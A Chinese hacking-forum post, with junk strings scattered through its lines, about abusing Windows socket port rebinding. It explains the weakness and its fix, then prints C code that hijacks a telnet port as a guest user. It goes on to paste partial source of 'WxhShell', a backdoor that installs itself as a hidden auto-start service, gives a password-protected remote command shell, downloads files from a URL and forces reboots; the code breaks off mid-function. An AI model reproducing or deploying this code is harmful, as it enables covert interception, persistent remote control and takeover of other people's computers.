社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9437阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: dGt;t5An V  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8)s}>:}  
Rb Jl;  
  saddr.sin_family = AF_INET; oS 7q#`  
Di5eD,N  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); dZFf /BXU  
qZ'&zB)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); EdlU}LU  
2.{:PM4Z4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 12U1DEd>-  
0k>bsn/ j  
  这意味着什么?意味着可以进行如下的攻击: QFY1@2EC  
_<yGen-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tV%:sk^d  
wb~#=6Y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l ~CYxO  
dYrw&gn  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -"Wp L2qD  
[G>8N5@*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L:nZ_O;  
pUutI|mt/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 g VX  
bCHJLtDQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 PN:/lIO  
.|^L\L(!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 m^Qc9s#D  
-f@~{rK.L  
  #include &\#If:  
  #include 4/vQ/>c2j  
  #include V]dzKNFi  
  #include    lK;|ciq"c7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;|*o^9q  
  int main() Xb6X'rY  
  { }K1v=k  
  WORD wVersionRequested; ad+@2-Y  
  DWORD ret; Y> ElE-  
  WSADATA wsaData; !LB#K?I  
  BOOL val; Opx"'HC@G  
  SOCKADDR_IN saddr; OPOL-2<wiy  
  SOCKADDR_IN scaddr; bHZXMUewC  
  int err; HJWk%t<  
  SOCKET s; .Y|5i^i9{  
  SOCKET sc;  =z`#n}v  
  int caddsize; {_T?0L  
  HANDLE mt; C ioM!D  
  DWORD tid;   o|u<tuUW  
  wVersionRequested = MAKEWORD( 2, 2 ); K,(37Id'  
  err = WSAStartup( wVersionRequested, &wsaData ); D]X&Va  
  if ( err != 0 ) { 1(t{)Z<  
  printf("error!WSAStartup failed!\n");  -i*{8t  
  return -1; [hC-} 9  
  } =kFZ2/P2t(  
  saddr.sin_family = AF_INET; }TE4)vXs  
   7vO3+lT/Y;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S bI7<_  
uvC ![j^~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9jW/"  
  saddr.sin_port = htons(23); M9so3L<N0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $fZVh%  
  { ;|7]%Z}%  
  printf("error!socket failed!\n"); J:WO %P=Q  
  return -1; {[&$W8Li  
  } s[6y|{&ze  
  val = TRUE; v3>jXf  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $0+n0*fp  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $bSnbU <  
  { &(&5ao)5  
  printf("error!setsockopt failed!\n"); 6WUP#c@{  
  return -1; L-SWs8  
  }  {}x{OP  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~Y;_vU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t$+[(}@ +  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Z ,4G'[d  
Q|T9 tc->  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) tA;#yM;  
  { /A$mP)}tz  
  ret=GetLastError(); yvN;|R  
  printf("error!bind failed!\n"); gLp7<gx6  
  return -1; vu7F>{D  
  } .$&_fUY  
  listen(s,2); )/uu~9SFd  
  while(1) v:.`~h/b  
  { MYI*0o;  
  caddsize = sizeof(scaddr); -hv<8bC~4  
  //接受连接请求 sUl/9VKl  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); A_nu:K-  
  if(sc!=INVALID_SOCKET) jiAKV0lX W  
  { Ek#?B6s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Qmbl_#  
  if(mt==NULL) 9qe<bds1  
  { JSKAlw  
  printf("Thread Creat Failed!\n"); +E5EOo{ `|  
  break; W[ZW=c  
  } aG&ay3[&  
  } Mzfuthq=@  
  CloseHandle(mt); )Pj8{.t4  
  } x ,LQA0  
  closesocket(s); 0=g~ozEW&  
  WSACleanup(); P[q`{TdV  
  return 0; "WPFZw:9  
  }   7l+>WB_]  
  DWORD WINAPI ClientThread(LPVOID lpParam) %N.qu_,IZ  
  { +2&+Gh.h  
  SOCKET ss = (SOCKET)lpParam; +,wCV2>\3  
  SOCKET sc; (zv)cw%  
  unsigned char buf[4096]; (>.+tq}  
  SOCKADDR_IN saddr; C{g Y*+  
  long num; `)Z+]5:  
  DWORD val; DMeP9D  
  DWORD ret; ^j-w^)@T  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #}y(D{zc  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \~ACWF7l  
  saddr.sin_family = AF_INET; uIeD.I'@{5  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (A<'{J#5,  
  saddr.sin_port = htons(23); (bT3 r_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iRwlK5(&  
  { ~]Md*F[4*e  
  printf("error!socket failed!\n"); Aw~N"i  
  return -1; A~Uqw8n$\  
  } i7 *cpNPO  
  val = 100; |~V`Es +j  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '5V#sq;Z  
  { m`3Mev  
  ret = GetLastError(); Qx{[#[Da  
  return -1; (=de#wh2]  
  } w26x)(7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v8PH(d2{@  
  { ~4MUac^w  
  ret = GetLastError(); )U$]J*LI  
  return -1; Vy+UOV&v-  
  } ~sk{O%OI  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) uoX] #<1J  
  { +WGL`RP  
  printf("error!socket connect failed!\n"); (txr%Z0E  
  closesocket(sc); 9gS.G2  
  closesocket(ss); B^{87YR  
  return -1; J3;dRW  
  } w =MZi=p  
  while(1) R3`Rrj Z  
  { orU++,S4Pm  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \Gzo^w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 F| ib=_)3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ww0m1FzX  
  num = recv(ss,buf,4096,0); ^Ko{#qbl/  
  if(num>0) kJy bA  
  send(sc,buf,num,0); ,vN0Jpf}\8  
  else if(num==0) i*q!|^M  
  break; c2$&pZ M  
  num = recv(sc,buf,4096,0); q%^vx%aL\  
  if(num>0) MZ/PXY  
  send(ss,buf,num,0); `U~Y{f_!H  
  else if(num==0) $AI0&#NM  
  break; bM%c*_$F7  
  } -4}I02  
  closesocket(ss); vW\|% @hW,  
  closesocket(sc); W@:a3RJ  
  return 0 ; K9BoIHo  
  } TAXl73j_CY  
5[1#d\QR  
0xNlO9b/  
========================================================== 'yq'J)  
TNvE26.(  
下边附上一个代码,,WXhSHELL Q302!N  
I{V1Le4?  
========================================================== .F*2]xj@"  
;~Em,M"o  
#include "stdafx.h" 8G SO]R  
%5zztReI  
#include <stdio.h> 9gz"r  
#include <string.h> VB+sl2V<h  
#include <windows.h> Xc^7  
#include <winsock2.h> /G>reG,G  
#include <winsvc.h> N$j I&SI?}  
#include <urlmon.h> [xVE0l*\   
 ;7F|g  
#pragma comment (lib, "Ws2_32.lib") kOe~0xoT@u  
#pragma comment (lib, "urlmon.lib") .W>8bg'u9  
!iOuIYjV  
#define MAX_USER   100 // 最大客户端连接数 V r0-/T  
#define BUF_SOCK   200 // sock buffer e$wbYByW  
#define KEY_BUFF   255 // 输入 buffer X> *o\   
F! |?S:X  
#define REBOOT     0   // 重启 $B iG7,[#  
#define SHUTDOWN   1   // 关机 jgr2qSU C  
>QusXD"L>  
#define DEF_PORT   5000 // 监听端口 x_&m$Fh  
^1%gQ@P  
#define REG_LEN     16   // 注册表键长度 M?UlC   
#define SVC_LEN     80   // NT服务名长度 OoFQ@zE7%  
1qs~[7{C1  
// 从dll定义API Qbc62qFu!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L-ZJ[#D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EmDA\9~@R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mQ9%[U,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \E'Nk$V3  
D4"](RXH  
// wxhshell配置信息 h=3156M  
struct WSCFG { `R}D@  
  int ws_port;         // 监听端口 3xW;qNj:!l  
  char ws_passstr[REG_LEN]; // 口令 }}GBCXAf_  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'z#{'`$a  
  char ws_regname[REG_LEN]; // 注册表键名 (VPT% l6  
  char ws_svcname[REG_LEN]; // 服务名 n9zS'VU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 by {G{M`X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,{C(<1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GXEOgf#i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /WDz;,X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cZRLYOC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r: _- Cj  
RRD\V3C84  
}; ^"w.v' sL  
;z9(  
// default Wxhshell configuration n7vLw7  
struct WSCFG wscfg={DEF_PORT, /D[GXX  
    "xuhuanlingzhe", 7p?6j)rj  
    1, J3sO%4sYR  
    "Wxhshell", k3m|I*_\L  
    "Wxhshell", p6V`b'*>  
            "WxhShell Service", f77uqv(Y  
    "Wrsky Windows CmdShell Service", Q#@gOn=W\  
    "Please Input Your Password: ", O=1uF  
  1, 's{-1aW  
  "http://www.wrsky.com/wxhshell.exe", h(;qnV'c  
  "Wxhshell.exe" b'$j* N  
    }; ;8~`fK  
@1 #$  
// 消息定义模块 vf@d (g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sz.(_{5!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; blZiz2F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~6'6v 8  
char *msg_ws_ext="\n\rExit."; P,"z  
char *msg_ws_end="\n\rQuit."; {Izg1 N  
char *msg_ws_boot="\n\rReboot..."; xG_ ;F  
char *msg_ws_poff="\n\rShutdown..."; 5eC5oX>  
char *msg_ws_down="\n\rSave to "; +q]  
m_H$fioha,  
char *msg_ws_err="\n\rErr!"; R]%ZqT{PS  
char *msg_ws_ok="\n\rOK!"; h2 Ifq!(:  
0EM`,?i .Q  
char ExeFile[MAX_PATH]; <69/ZI),Y{  
int nUser = 0; /KEPPp  
HANDLE handles[MAX_USER]; Tk-PCra  
int OsIsNt; u[U~`*i*rA  
do{#y*B/g!  
SERVICE_STATUS       serviceStatus; 8w|j Z@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G'( %8\  
>taS<.G  
// 函数声明 pBt/vSad  
int Install(void); }>xgzhdT  
int Uninstall(void); ~(B\X?v  
int DownloadFile(char *sURL, SOCKET wsh); p5C sw5  
int Boot(int flag); Sv-}w$  
void HideProc(void); w\Q3h`.  
int GetOsVer(void); a#1LGH7E8  
int Wxhshell(SOCKET wsl); qH6DZ|  
void TalkWithClient(void *cs); QEM")(  
int CmdShell(SOCKET sock); yXNE2K  
int StartFromService(void); pFSVSSQRV|  
int StartWxhshell(LPSTR lpCmdLine); 5;V#Z@S  
r2.87  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /U1GxX:P,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dUn8Xqj1  
o})4Jt1vj  
// 数据结构和表定义 -!MDYj+U  
SERVICE_TABLE_ENTRY DispatchTable[] =  ew4IAF  
{ o lNL|WJ`w  
{wscfg.ws_svcname, NTServiceMain}, `hS<F" j  
{NULL, NULL} %H- [u}s  
}; *|Re,cY  
~0fT*lp  
// 自我安装 AEi@t0By  
int Install(void) 3WJ> T1we  
{ -3Vx jycY  
  char svExeFile[MAX_PATH];  | qHWM  
  HKEY key; R*TCoEKO  
  strcpy(svExeFile,ExeFile); 8N6a=[fv<  
^lu)'z%6  
// 如果是win9x系统,修改注册表设为自启动 AnPm5i.  
if(!OsIsNt) { -p ) l63  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O6OP{sb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yQhrPw> m  
  RegCloseKey(key); }QncTw0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5"y p|Yl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); svyC(m)'  
  RegCloseKey(key); 5S$HDO&  
  return 0; &tD`~  
    } ?9!tMRb  
  } ]Vl5v5_  
} Ats"iV  
else { {<~XwJ.  
Ph]e\  
// 如果是NT以上系统,安装为系统服务 $EviGZFAaR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .2 UUU\/5  
if (schSCManager!=0) vG\]xM'u  
{ w}NgFrL  
  SC_HANDLE schService = CreateService 30>TxL=&  
  ( Eg-b5Z);  
  schSCManager, #Opfc8pm'  
  wscfg.ws_svcname, 2t[c^J  
  wscfg.ws_svcdisp, g,y`[dr  
  SERVICE_ALL_ACCESS, 9qXHdpb#g"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  2WE   
  SERVICE_AUTO_START, I6y&6g  
  SERVICE_ERROR_NORMAL, RO wbzA)]r  
  svExeFile, "XC6 l4Z  
  NULL, H gNUr5p  
  NULL, < q; ]  
  NULL, ; tvB{s_  
  NULL, /gy;~eB01  
  NULL (:+IS W  
  ); h,140pW  
  if (schService!=0) 4C01=,6ye  
  { -ZQ3^'f:0J  
  CloseServiceHandle(schService); .&@|)u  
  CloseServiceHandle(schSCManager); >w j7Y`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y13=y}dyDH  
  strcat(svExeFile,wscfg.ws_svcname); O|y-nAZgU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {k?Y :  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FN,0&D}`  
  RegCloseKey(key); 0A?w,A`"  
  return 0; s7xRry  
    } ~g|e?$j  
  } ;S?1E:\av  
  CloseServiceHandle(schSCManager); kP;:s  
} (= !_ 5l  
} XZ|"7as  
f!LZT!y  
return 1; crgYr$@s?  
} i;)g0}x`  
0BaL!^>  
// 自我卸载 j{U-=[$'  
int Uninstall(void) @%\ANM$S  
{ +o'. !sRH  
  HKEY key; _hh|/4(  
3sp*.dk  
if(!OsIsNt) { {f^30Fw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )7j"OE  
  RegDeleteValue(key,wscfg.ws_regname); "E''ZBLO~  
  RegCloseKey(key); V'K$:9^x[8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P< WD_W  
  RegDeleteValue(key,wscfg.ws_regname); GE5@XT  
  RegCloseKey(key); 4`8.\  
  return 0; _a<PUdP  
  } /0o 2  
} J1R%w{  
} &-b=gnT   
else { -|)[s[T~m  
uqQMS&;+,|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JyB>,t)  
if (schSCManager!=0) bLV@Ts  
{ <q[ *kr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'E&K%/d  
  if (schService!=0) ~:t2@z4p  
  { p\-.DRwT`  
  if(DeleteService(schService)!=0) {  v$tS 2N2  
  CloseServiceHandle(schService); cF(9[8c{  
  CloseServiceHandle(schSCManager); 4tuEC-oh  
  return 0; M9&tys[KX  
  } ~ml\|  
  CloseServiceHandle(schService); FwW%@Y  
  } \pzvoj7{  
  CloseServiceHandle(schSCManager); %BG5[ XQ7  
} xrX("ili  
} O4E2)N  
6wu/6DO   
return 1; w5*18L=O\  
} hYWWvJ)S  
T=R94  
// 从指定url下载文件 X^.r@tT  
int DownloadFile(char *sURL, SOCKET wsh) s lI)"+6  
{ &pba~X.u  
  HRESULT hr; rSJ}qRXwU  
char seps[]= "/"; =VY4y]V  
char *token; {VNeh  
char *file; ,3n}*"K  
char myURL[MAX_PATH]; ffB]4  
char myFILE[MAX_PATH]; unX^MPpw  
}jk^M|Z"Oz  
strcpy(myURL,sURL); >{??/fBd-  
  token=strtok(myURL,seps); >b$<lo  
  while(token!=NULL) ;< ][upn  
  { 'P Yl%2  
    file=token; 0[i]PgIH  
  token=strtok(NULL,seps); 8n:D#`K  
  } C=b5[, UCB  
785iY865  
GetCurrentDirectory(MAX_PATH,myFILE); r9t{/})A  
strcat(myFILE, "\\"); *FE<'+%  
strcat(myFILE, file); [ho'Pc3A<  
  send(wsh,myFILE,strlen(myFILE),0); XM 7zA^-  
send(wsh,"...",3,0);  WcJ{}V9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p{,fWk  
  if(hr==S_OK) /<2_K4(-{4  
return 0; 0iB 1_)~  
else tQ|I$5jNJ  
return 1; Y~:7l5C  
kL3=7t^ 1  
} nSC>x:jY5/  
X@G`AD'.M  
// 系统电源模块 Sh*P^i.]+  
int Boot(int flag) ^\6UTnS.  
{ TSk6Q'L\v  
  HANDLE hToken; i :$g1  
  TOKEN_PRIVILEGES tkp; .) GVb<w  
>mV""?r]  
  if(OsIsNt) { SeTU`WLEm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y5ExEXa  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <?g{Rn  
    tkp.PrivilegeCount = 1; C,]Ec2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GGuLxc?(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3TtW2h>M  
if(flag==REBOOT) { h P1|l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #.='dSj  
  return 0; gi6_la+  
} K%k,-  
else { ,@;<u'1\G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [y:LA ~q  
  return 0; \'KzSkC8  
} QezK&iJg  
  } L!G3u/  
  else { zN:752d^+r  
if(flag==REBOOT) { ')aYkO{%sb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X<{m;T `  
  return 0; &Xav$6+Z1J  
} Ll`apKr  
else { s^ a`=kO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5e LPn  
  return 0; 5 9vGLN!L  
} # 9t/j`{  
} @e7+d@ O<  
3IkG*enI  
return 1; vKt_z@{{L  
} ;4bu=<%  
8dH|s#.4um  
// win9x进程隐藏模块 N#:"X;  
void HideProc(void) h CiblM  
{ \2`U$3Q  
u& Fm}/x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6uyf  
  if ( hKernel != NULL ) dB5DJ:$W$  
  { uprQy<I@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U&XoT-p$L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9s)oC$\  
    FreeLibrary(hKernel); `jHGNi  
  } fjFy$NX&>  
=jN]ckn  
return; 'zb7:[[7%  
} ]*|K8&jxl  
||4Dtg K  
// 获取操作系统版本 j$^]WRt  
int GetOsVer(void) 5ZVTI,4K  
{ K0\WN"ua;  
  OSVERSIONINFO winfo; &g!/@*[Nhh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C0%%@ 2+  
  GetVersionEx(&winfo); ?2TH("hV$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z7^}G=*  
  return 1; #O WSy'Qnt  
  else [;I8ZVE  
  return 0; [oj"Tn(  
} SXEiyy[7v  
ht |r+v-  
// 客户端句柄模块 >`:+d'Jv0  
int Wxhshell(SOCKET wsl) 66*o2D\Q*G  
{ {E/TC%  
  SOCKET wsh; kXr%73s  
  struct sockaddr_in client; GpL#, qYc  
  DWORD myID; ]`prDw'  
m C Ge*V}  
  while(nUser<MAX_USER) 0 *\=Q$Yy  
{ @2gMtf?<  
  int nSize=sizeof(client); K5SO($  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d eg>m?Y  
  if(wsh==INVALID_SOCKET) return 1; sfa'\6=O  
qpl5n'qHUc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q6K)EwN  
if(handles[nUser]==0) U\ued=H  
  closesocket(wsh); F 4/Uu"J:  
else R=PzR;8  
  nUser++; ^ne8~ ;Q  
  } 7,TWCVap  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~|rkt`8p  
5WT\0]RUa  
  return 0; ' T]oV~H  
} `?x$J 6p  
&iZYBa  
// 关闭 socket kdC OcJB  
void CloseIt(SOCKET wsh) s /M~RB!w  
{ J~q+G  
closesocket(wsh); kP$g l|  
nUser--; 37xxVbik  
ExitThread(0); kg@h R}  
} [Jo TWouNU  
WFP\;(YV  
// 客户端请求句柄 h86={@Le  
void TalkWithClient(void *cs) w|C~{  
{ aB^G  
{O) &5  
  SOCKET wsh=(SOCKET)cs; W#j,{&KVn  
  char pwd[SVC_LEN]; @3YuV=QfH  
  char cmd[KEY_BUFF]; U[l%oLra  
char chr[1]; ItADO'M  
int i,j; l #Q`f.  
d&`j 8O  
  while (nUser < MAX_USER) { jm\#($gl=  
 #Uh 5tc  
if(wscfg.ws_passstr) { "ux]kfoT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AvZ) 1(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wg^cj:&`u  
  //ZeroMemory(pwd,KEY_BUFF); )/"7$2Aoy  
      i=0; &F_rg,q&_  
  while(i<SVC_LEN) { 31& .Lnq  
u9w&q^0dqG  
  // 设置超时 Kdu\`c-lB  
  fd_set FdRead; 8F`  
  struct timeval TimeOut; x-&v|w'  
  FD_ZERO(&FdRead);  2p>SB/  
  FD_SET(wsh,&FdRead); Y)}%SP>,  
  TimeOut.tv_sec=8; +o]BjgG  
  TimeOut.tv_usec=0; Aw;vg/#~md  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4/?}xD|?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &Fjilx'k  
1 ],, Ar5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D 'cY7P  
  pwd=chr[0]; RH]>>tJ^e  
  if(chr[0]==0xd || chr[0]==0xa) { *]R 0z|MW  
  pwd=0; CqK#O'\  
  break; {yMA7W7]  
  } v`^J3A  
  i++; N+qLxk  
    } Aq%^>YAp  
@T1+b"TC  
  // 如果是非法用户,关闭 socket ?3TV:fx"X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?VQLY=?  
} c8tC3CrKp=  
h;qy5KS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7CM03R[P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h6y4Ii  
><Z3<7K9  
while(1) { n~u3  
{$YD-bqY  
  ZeroMemory(cmd,KEY_BUFF); ih |Ky+!  
F LI8r:  
      // 自动支持客户端 telnet标准   p''"E$B/(  
  j=0; +\GZ(!~  
  while(j<KEY_BUFF) { lk1Gs{(qhH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yr2L  
  cmd[j]=chr[0]; \&&(ytL  
  if(chr[0]==0xa || chr[0]==0xd) { ) Zo_6%  
  cmd[j]=0; NjN?RB/5  
  break; L8wcH  
  } -MU.Hu  
  j++; heZy 66  
    } 7'i#!5  
6\fMzm  
  // 下载文件 P3tG#cJ  
  if(strstr(cmd,"http://")) { U!?gdX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5}bZs` C  
  if(DownloadFile(cmd,wsh)) ikN!ut  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8<g#$(a_E  
  else l@r wf$-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E8_Le  
  } fTV|? :C{  
  else { q%k(M[  
dIpW!Pj^  
    switch(cmd[0]) { 8+ F}`lLA  
  D`:d'ow~KQ  
  // 帮助 uO@3vY',n  
  case '?': { D&l ,SD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ()M@3={R  
    break; 7k=F6k0)  
  } B$TChc3B  
  // 安装 @ Rx6 >52>  
  case 'i': { |4S?>e  
    if(Install()) !Nl.Vb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M*|VLOo=v  
    else 9/ 1+BQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p^igscPF6  
    break; $@_t5?n``F  
    } <2O7R}j7v  
  // 卸载 KBw9(  
  case 'r': { r<X4ER  
    if(Uninstall()) xDGS`U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); guOSO@  
    else Kka8cG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,{{#a*nd  
    break; H >:4MY  
    } a=*ALd_&0  
  // 显示 wxhshell 所在路径 MuoctW  
  case 'p': { ;=-j;x  
    char svExeFile[MAX_PATH]; a,'Ncg  
    strcpy(svExeFile,"\n\r"); {(z(NgXG/  
      strcat(svExeFile,ExeFile); UM( l%  
        send(wsh,svExeFile,strlen(svExeFile),0); jc&/}o$K  
    break; yw.~trF&%  
    } +rsl( 08FY  
  // 重启 g 6VD_  
  case 'b': { ?QMclzh*-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }#OqU# q|  
    if(Boot(REBOOT)) o"#TZB+k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }B=qH7u.K  
    else { YWRE&MQ_  
    closesocket(wsh); w=D%D8 r2  
